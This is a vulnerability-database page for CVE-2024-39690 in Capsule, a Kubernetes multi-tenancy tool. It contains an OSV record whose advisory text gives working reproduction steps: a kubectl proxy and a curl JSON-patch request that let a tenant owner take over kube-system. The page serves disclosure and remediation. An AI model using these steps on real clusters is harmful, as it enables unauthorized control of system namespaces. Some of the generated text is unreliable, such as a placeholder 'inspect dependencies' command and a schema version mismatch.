CVE-2024-39690: Github.com/projectcapsule/capsule Capsule Tenant Owner With "patch Vulnerability
HIGHCVE-2024-39690 is a HIGH (CVSS 8.4) capsule tenant owner with "patch vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/projectcapsule/capsule libraries in the Go ecosystem. The issue involves capsule tenant owner with "patch namespace" permission can hijack system namespaces. Remediation is available by upgrading affected packages to version 0.7.1.
CVE-2024-39690 at a Glance
Security Impact
CVSS: 8.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2024-39690
To remediate this vulnerability, upgrade all affected Github.com/projectcapsule/capsule dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/projectcapsule/capsule to 0.7.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/projectcapsule/capsule
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-39690, inspect your project dependencies for Github.com/projectcapsule/capsule:
inspect dependencies for github.com/projectcapsule/capsule
Analyze the terminal output to locate any version of Github.com/projectcapsule/capsule in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/projectcapsule/capsule, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-39690 Affected Github.com/projectcapsule/capsule Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/projectcapsule/capsule
|
Go |
< 0.7.1
|
0.7.1
|
References
Frequently Asked Questions
What is CVE-2024-39690?
Which Github.com/projectcapsule/capsule versions are affected?
What version fixes CVE-2024-39690?
Is github.com/projectcapsule/capsule affected?
What is the CVSS score of CVE-2024-39690?
What CWE is associated with CVE-2024-39690?
How can I check Go dependencies for CVE-2024-39690?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mq69-4j5w-3qwp",
"modified" : "2025-08-14T13:32:09Z",
"published" : "2024-08-20T18:34:37Z",
"aliases" : [ "CVE-2024-39690" ],
"summary" : "Capsule tenant owner with \"patch namespace\" permission can hijack system namespaces",
"details" : "# Attack Vector\nThen, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.\n\n# Below are my detailed reproduction steps\n1. Create a test cluster\n`kind create cluster --image=kindest/node:v1.24.15 --name=k8s`\n2. Install the capsule\n`helm install capsule projectcapsule/capsule -n capsule-system --create-namespace`\n3. Create a tenant\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n name: tenant1\nspec:\n owners:\n - name: alice\n kind: User\nEOF\n```\n4. Create user alice\n```\n./create-user.sh alice tenant1 capsule.clastix.io\nexport KUBECONFIG=alice-tenant1.kubeconfig\n```\n5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)\n```\nkubectl proxy\n\nexport DATA='[{\"op\": \"add\", \"path\": \"/metadata/ownerReferences\", \"value\":[{\"apiVersion\": \"capsule.clastix.io/v1beta2\", \"blockOwnerDeletion\": true, \"controller\": true, \"kind\": \"Tenant\", \"name\": \"tenant1\", \"uid\": \"ce3f2296-4aaa-45b0-a8fe-879d5096f193\"}]}]'\n\ncurl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d \"$DATA\" -H \"Content-Type: application/json-patch+json\"\n```\n7. Check the result\nThe kube-system is patched successfully.\n\n\n\n# Summary\nThe tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.\n\nI would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/projectcapsule/capsule"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.7.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.7.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/projectcapsule/capsule/security/advisories/GHSA-mq69-4j5w-3qwp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-39690"
}, {
"type" : "WEB",
"url" : "https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/projectcapsule/capsule"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-08-20T18:34:37Z",
"nvd_published_at" : "2024-08-20T15:15:21Z"
}
}